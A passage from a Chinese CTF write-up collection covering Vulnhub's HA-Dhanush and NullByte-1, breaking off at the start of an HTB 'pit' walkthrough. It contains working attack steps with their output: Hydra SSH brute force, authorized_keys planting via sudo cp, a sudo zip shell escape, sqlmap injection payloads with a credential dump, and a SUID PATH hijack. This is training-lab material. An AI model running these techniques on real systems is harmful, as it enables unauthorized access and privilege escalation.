[STATUS] 151.43 tries/min, 7117 tries in 00:47h, 6229 to do in 00:42h, 16 active
[65345][ssh] host: 192.168.142.131   login: pinak   password: Gandiv
[STATUS] attack finished for 192.168.142.131 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-12-17 22:56:20
```

 - 用户名/密码  ------  pinak/Gandiv

现在有了SSH的登录凭据，pinak/Gandiv登录并进行查看。 运行sudo -l命令检查sudoers列表，发现有效的cp命令以sarang用户身份运行，没有任何密码，因此可以使用它。 看一下用户sarang。 在sarang的主目录中，看到一个标记为“ .ssh”的隐藏目录。 试图打开它，但受到限制。

``` bash
root@kali:~# ssh pinak@192.168.142.131 -p 65345
The authenticity of host '[192.168.142.131]:65345 ([192.168.142.131]:65345)' can't be established.
ECDSA key fingerprint is SHA256:QVJEE1sfL5RUI7RaUefp0Cr9woMla1AyMzYAY683i5s.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.142.131]:65345' (ECDSA) to the list of known hosts.
pinak@192.168.142.131's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Fri Nov  8 09:05:56 2019
pinak@ubuntu:~$ id
uid=1001(pinak) gid=1001(pinak) groups=1001(pinak)
pinak@ubuntu:~$ whoami
pinak
pinak@ubuntu:~$ 
pinak@ubuntu:~$ pwd
/home/pinak
pinak@ubuntu:~$ sudo -l
Matching Defaults entries for pinak on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pinak may run the following commands on ubuntu:
    (sarang) NOPASSWD: /bin/cp
pinak@ubuntu:~$ cd /home/sarang
pinak@ubuntu:/home/sarang$ ls -la
total 32
drwxr-xr-x 4 sarang sarang 4096 Nov  8 08:03 .
drwxr-xr-x 5 root   root   4096 Nov  7 21:01 ..
-rw------- 1 sarang sarang    1 Nov  8 09:07 .bash_history
-rw-r--r-- 1 sarang sarang  220 Nov  7 21:01 .bash_logout
-rw-r--r-- 1 sarang sarang 3771 Nov  7 21:01 .bashrc
drwx------ 2 sarang sarang 4096 Nov  7 21:07 .cache
-rw-r--r-- 1 sarang sarang  807 Nov  7 21:01 .profile
drwx------ 2 sarang sarang 4096 Nov  7 21:35 .ssh
pinak@ubuntu:/home/sarang$ cd .ssh
-bash: cd: .ssh: Permission denied
```

使用cp命令进入sarang用户。 需要将ssh密钥显示在sarang用户主目录内的.ssh目录中。 尽管该文件只能读取，但可以使用cp命令在该目录中发送密钥。 为此，首先需要生成这些密钥。 为此使用ssh-keygen。 使用ssh-keygen后，进入pinak用户主目录内的.ssh目录中以找到id_rsa公钥。 给它适当的权限。 并将其移动到pinak用户主目录。

``` bash
pinak@ubuntu:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pinak/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/pinak/.ssh/id_rsa.
Your public key has been saved in /home/pinak/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:M3EjxpbK4Ni6vFhkYjtaUWnV7IRl6gK/2ab8B3FLz+U pinak@ubuntu
The key's randomart image is:
+---[RSA 2048]----+
|      .=o        |
|     o.++.       |
|  . = .oB o      |
|   O +.+++ ..    |
|..= = ++S+ o     |
|.+.o =. .oo E    |
| o+ o o.         |
|.=.o o  .        |
|o +.o...         |
+----[SHA256]-----+
pinak@ubuntu:~$ cd .ssh
pinak@ubuntu:~/.ssh$ ls
id_rsa  id_rsa.pub
pinak@ubuntu:~/.ssh$ chmod 777 id_rsa.pub
pinak@ubuntu:~/.ssh$ cp id_rsa.pub /home/pinak
pinak@ubuntu:~/.ssh$ cd ..
pinak@ubuntu:~$ ls
id_rsa.pub
```

现在已经转移了公钥，现在使用cp命令作为sarang用户在sarang用户主目录中的.ssh目录中复制公钥了。 需要将sudo与cp命令一起使用，并提供源目录和目标目录。 完成此操作后，只需要使用刚转让的密钥以sarang身份登录即可。 可以看到它运行良好。 以成功的用户身份登录后，再次运行sudo -l命令，因为该用户不是root用户，目标是获得root用户。 看到zip命令具有sudo权限，可滥用该权限来升级此计算机上的特权。

``` bash
pinak@ubuntu:~$ sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys
pinak@ubuntu:~$ ssh sarang@127.0.0.1 -i /.ssh/authorized_keys -p 65345
Warning: Identity file /.ssh/authorized_keys not accessible: No such file or directory.
The authenticity of host '[127.0.0.1]:65345 ([127.0.0.1]:65345)' can't be established.
ECDSA key fingerprint is SHA256:QVJEE1sfL5RUI7RaUefp0Cr9woMla1AyMzYAY683i5s.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:65345' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/pinak/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Thu Nov  7 21:35:24 2019 from 192.168.0.100
sarang@ubuntu:~$ sudo -l
Matching Defaults entries for sarang on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sarang may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/zip
```

#### 提权

使用最近通过ssh登录的用户sarang。 使用sudo命令列出用户可以使用root特权运行的所有命令，可以看到用户可以以root用户身份运行zip命令，而无需输入任何密码。
因此，现在正在将权限从“sarang”提升到“root”。 创建一个文件“lucifer11”，然后执行命令：首先将文件“lucifer11”压缩，然后将其移动到/tmp/lucifer11.zip文件夹，最后解压缩，然后弹出root的shell，提权成功。

``` bash
sarang@ubuntu:~$ touch lucifer11
sarang@ubuntu:~$ ls
lucifer11
sarang@ubuntu:~$ pwd
/home/sarang
sarang@ubuntu:~$ sudo zip /tmp/lucifer11.zip /home/sarang/lucifer11 -T --unzip-command="sh -c /bin/bash"
  adding: home/sarang/lucifer11 (stored 0%)
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# whoami
root
```

这次提权方式太帅，记下来

``` bash
sudo zip /tmp/lucifer11.zip /home/sarang/lucifer11 -T --unzip-command="sh -c /bin/bash"
```

获取flag

``` bash
root@ubuntu:~# cd /root
root@ubuntu:/root# ls
flag.txt
root@ubuntu:/root# cat flag.txt 
          
                                            @p
                                           @@@.
                                          @@@@@
                                         @@@@@@@
                                        *"`]@P ^^
                                           ]@P
                                           ]@P
                               ,,,,        ]@P       ,,gg,,
                           g@@@@@@@@@b     ]@P    ,@@@@@@@@@@g,
                        ,@@@@@@BNPPNB@@@@@@@@@@@@@@@@P**PNB@@@@@w
                      g@@@@P^`        %NNNNN@NNNNNP          *B@@@g
                    g@@@P`                 -@                   "B@@w
                  ,@@@`                    ]@                      %@@,
                 @@P-                      ]@                        *@@,
              ,@@"                         ]@                          *B@
            ,@N"                          y@@B                            %@,
      ,,  g@P-                            ]@@@P                             *Bg ,gg
      @@@@$,,,,,,,,,,,,,,,,,,,,,,,,,,ggggg@@@@wwwwwwwwwgggggggggww==========mm4NNN"

!! Congrats you have finished this task !!

Contact us here:

Hacking Articles : https://twitter.com/rajchandel/
Nisha Sharma     : https://in.linkedin.com/in/nishasharmaa

+-+-+-+-+-+ +-+-+-+-+-+-+-+
 |E|n|j|o|y| |H|A|C|K|I|N|G|
 +-+-+-+-+-+ +-+-+-+-+-+-+-+
____________________________________
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub67.jpg)

Flag太帅，犹如利剑正中敌人心脏！！！然后狠狠穿透！！！

<font color="red">Key:网页用户名收集，hydra爆破,ssh公钥滥用,/usr/bin/zip,/bin/cp的无需root密码的权限滥用。</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end HA-Dhanush -->

</details>

<a id="case-nullbyte-1"></a>

## PATH 解析与 SUID 子进程

图像信息和查询入口连接账户，procwatch 使用外部命令的方式改变 PATH 的安全含义。原文保留环境变量、SUID 和数据库替代分支。

<p class="kb-provenance">来源 NullByte-1 · 原记录 2020-01-02 · 14 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-nullbyte-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start NullByte-1 -->

#### 名称
名称：NullByte: 1
发布日期：2015年8月1日

#### 下载
 - Download: http://ly0n.me/nullbyte/NullByte.ova.zip
 - Download (Mirror): https://download.vulnhub.com/nullbyte/NullByte.ova.zip
 - Download (Torrent): https://download.vulnhub.com/nullbyte/NullByte.ova.zip.torrent



#### 描述

代号：NB0x01
下载：ly0n.me/nullbyte/NullByte.ova.zip
目标：转到/root/proof.txt并按照说明进行操作。
级别：基础到中级。
说明：Boot2root，Box将从dhcp获取IP，可与virtualbox＆vmware正常工作。
提示：使用您的横向思考技巧，也许您需要编写一些代码。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.106
Host is up (0.00024s latency).
MAC Address: 08:00:27:FE:89:AF (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -sV -Pn -v 192.168.56.106
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
50480/tcp open  status  1 (RPC #100024)
```

``` bash
root@kali:~# nmap -sV -Pn -T5 -v -A --script=vuln -p 80,111,777,50480 192.168.56.106
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|_  /uploads/: Potentially interesting folder
|_http-server-header: Apache/2.4.10 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          44704/tcp6  status
|   100024  1          47970/udp6  status
|   100024  1          50480/tcp   status
|_  100024  1          54179/udp   status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
50480/tcp open  status  1 (RPC #100024)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
```

可以看到ssh端口开在777

页面上有图像。 在页面源上没有找到任何内容。 但是图像中可能隐藏了一些东西，因此，使用exiftool读取图像，因此下载该图像。

``` bash
root@kali:~# exiftool main.gif 
ExifTool Version Number         : 11.80
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2020:01:01 21:14:10-05:00
File Access Date/Time           : 2020:01:01 21:14:10-05:00
File Inode Change Date/Time     : 2020:01:01 21:14:10-05:00
File Permissions                : rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071
```

发现Comment处有一串字符kzMb5nVYJw，可能是密码或者目录

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub121.jpg)

假设是正确的，但这是一个key。 不知道密钥是什么，因此，使用字典攻击通过BurpSuite和rockyou.txt查找到密钥elite.

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub122.jpg)

输入密匙，跳转到下面的页面，要求输入username，猜测username处可能存在注入

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub123.jpg)

``` bash
$ sqlmap.py -r sqlmap.txt
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.12.1#dev}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:41:51 /2020-01-02/

[10:41:51] [INFO] parsing HTTP request from 'sqlmap.txt'
[10:41:51] [INFO] testing connection to the target URL
[10:41:51] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:41:51] [INFO] testing if the target URL content is stable
[10:41:51] [INFO] target URL content is stable
[10:41:51] [INFO] testing if GET parameter 'usrtosearch' is dynamic
[10:41:51] [WARNING] GET parameter 'usrtosearch' does not appear to be dynamic
[10:41:51] [INFO] heuristic (basic) test shows that GET parameter 'usrtosearch' might be injectable (possible DBMS: 'MySQL')
[10:41:51] [INFO] testing for SQL injection on GET parameter 'usrtosearch'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:41:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:41:51] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:41:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:41:52] [WARNING] reflective value(s) found and filtering out
[10:41:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:41:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[10:41:53] [INFO] GET parameter 'usrtosearch' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="ID")
[10:41:53] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:41:53] [INFO] GET parameter 'usrtosearch' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable
[10:41:53] [INFO] testing 'MySQL inline queries'
[10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[10:41:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[10:41:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:41:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:42:03] [INFO] GET parameter 'usrtosearch' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[10:42:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:42:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:42:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:42:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[10:42:03] [INFO] target URL appears to have 3 columns in query
[10:42:03] [INFO] GET parameter 'usrtosearch' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[10:42:03] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'usrtosearch' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 137 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: usrtosearch=1111" OR NOT 7451=7451#

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: usrtosearch=1111" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a6a6271,(SELECT (ELT(9768=9768,1))),0x7171627171,0x78))s), 8446744073709551610, 8446744073709551610)))-- Irce

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: usrtosearch=1111" AND (SELECT 7630 FROM (SELECT(SLEEP(5)))fzHD)-- xAIX

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=1111" UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6271,0x7a5249786a7646744654494a6d676f4c78454f63675a7a4d786f757a42744a515649526e7574704b,0x7171627171)#
---
[10:42:03] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.5
[10:42:03] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.56.106'

[*] ending @ 10:42:03 /2020-01-02/
```

查找其中的用户名和密码

``` bash
root@kali:~# sqlmap -r sqlmap.txt -D seth -T users --dump
        ___
       __H__                                                                                           
 ___ ___[,]_____ ___ ___  {1.3.12#stable}                                                              
|_ -| . [.]     | .'| . |                                                                              
|___|_  [.]_|_|_|__,|  _|                                                                              
      |_|V...       |_|   http://sqlmap.org                                                            

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:53:36 /2020-01-01/

[21:53:36] [INFO] parsing HTTP request from 'sqlmap.txt'
[21:53:36] [INFO] resuming back-end DBMS 'mysql' 
[21:53:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: usrtosearch=1111" OR NOT 8608=8608#

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: usrtosearch=1111" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b767671,(SELECT (ELT(6518=6518,1))),0x7171706b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- SFDc

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: usrtosearch=1111" AND (SELECT 5358 FROM (SELECT(SLEEP(5)))oBUJ)-- bKCB

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=1111" UNION ALL SELECT NULL,CONCAT(0x716b767671,0x564b5772465344646f7a6a79776666466b735572476570706b70585a4a704d624f704e54684f5172,0x7171706b71),NULL#
---
[21:53:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.5
[21:53:36] [INFO] fetching columns for table 'users' in database 'seth'
[21:53:36] [INFO] fetching entries for table 'users' in database 'seth'
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

[21:53:36] [INFO] table 'seth.users' dumped to CSV file '/root/.sqlmap/output/192.168.56.106/dump/seth/users.csv'                                                                                             
[21:53:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.106'

[*] ending @ 21:53:36 /2020-01-01/
```

得到ramses/YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE，先将字符串YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE解密，得到c6d6bd7ebf806f43c76acc3681703bODE然后在在线网站上将hash解密，得到值omega

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub124.jpg)

有了username和password，下面就是ssh连接

#### getshell

使用ramses/omega连接ssh

``` bash
root@kali:~# ssh ramses@192.168.56.106 -p 777
The authenticity of host '[192.168.56.106]:777 ([192.168.56.106]:777)' can't be established.
ECDSA key fingerprint is SHA256:H/Y/TKggtnCfMGz457Jy6F6tUZPrvEDD62dP9A3ZIkU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.56.106]:777' (ECDSA) to the list of known hosts.
ramses@192.168.56.106's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
ramses@NullByte:~$ whoami
ramses
```

#### 提权1

查看具有SUID权限的二进制文件

``` bash
ramses@NullByte:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
```

发现/var/www/backup/procwatch的SUID位已启用，非常吸引人。 进一步探索它。

``` bash
ramses@NullByte:~$ cd /var/www/backup/
ramses@NullByte:/var/www/backup$ ls
procwatch  readme.txt
ramses@NullByte:/var/www/backup$ cat readme.txt 
I have to fix this mess... 
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1664 pts/0    00:00:00 procwatch
 1665 pts/0    00:00:00 sh
 1666 pts/0    00:00:00 ps
```

ummm,没有变成root用户，看来还需要做点什么
因此，当运行上述命令时，看起来procwatch文件正在尝试运行ps，这是/bin内用于处理状态的真实文件。 作者在这里可以考虑的最重要的事情是，作者已将procwatch的SUID位设置为ON，并且可能是调用系统功能（例如ps）的任何小程序文件。
利用它的优势，可以升级root特权并实现root该VM。 将必须操作环境PATH变量。 如果可以使procwatch运行sh而不是ps，它应该返回一个root shell。 以下使用环境$ PATH变量及其操作环境变量的方法称为Linux特权升级。

``` bash
ramses@NullByte:/var/www/backup$ echo "/bin/sh"  > ps
ramses@NullByte:/var/www/backup$ chmod 777 ps
ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch 
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# whoami
root
```
成功提权，帅呆了,提权方法太帅，记下来

``` bash
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
```
 - $PATH中的“.”，表示用户能够从当前目录执行二进制文件/脚本。 通过执行以上命令，将获取root权限。

<font color="red">找到flag</font>

``` bash
# cd /root
# ls
proof.txt
# cat proof.txt 
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats. 
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com


USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
```

将adf11c7a9e6523e630aaf3b9b7acb51d解密，结果是welldone22

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub125.jpg)

#### 提权2

``` bash
ramses@NullByte:/var/www/backup$ cp /bin/sh /tmp/ps
ramses@NullByte:/var/www/backup$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# whoami
root
```

#### 提权3

``` bash
ramses@NullByte:/tmp$ nano ps
ramses@NullByte:/tmp$ chmod 777 ps
ramses@NullByte:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/tmp$ export PATH=.:$PATH
ramses@NullByte:/tmp$ cd /var/www/backup
ramses@NullByte:/var/www/backup$ ./procwatch
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# whoami
root
```

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end NullByte-1 -->

</details>

<a id="case-pit"></a>

## SNMP 扩展命令与目录 ACL

SNMP 信息、SeedDMS 配置和系统账户构成前半链，扩展 OID 触发的脚本受目录 ACL 控制。原文保留仅可写不可列目录的差异。

<p class="kb-provenance">来源 pit · 原记录 2021-05-22 · 32 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-pit">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pit -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	15 May 2021
IP:	10.10.10.241

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1981.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.241
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http            nginx 1.14.1
9090/tcp open  ssl/zeus-admin?
```

Initial Nmap scan reveals the machine is running SSH and HTTP/s service. Port 9090 is
HTTPS, the TLS certificate discloses hostname. Let’s add hostname to hosts file.

``` bash
10.10.10.241 pit.htb dms-pit.htb
```

The HTB tweet gives us a small hint about the box. “Walk”, as in SNMP.

Let’s do a quick UDP ping and find whether SNMP port is open or closed.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# nping --udp -c 2 -p 161 pit.htb

Starting Nping 0.7.91 ( https://nmap.org/nping ) at 2021-05-21 12:27 EDT
SENT (0.0718s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28 
SENT (1.0721s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28 
 
Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 2 (56B) | Rcvd: 0 (0B) | Lost: 2 (100.00%)
Nping done: 1 IP address pinged in 2.11 seconds
```

As you can see we can able to send UDP packets to SNMP port. It is open, we can confirm by
running NMAP scan on the port.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
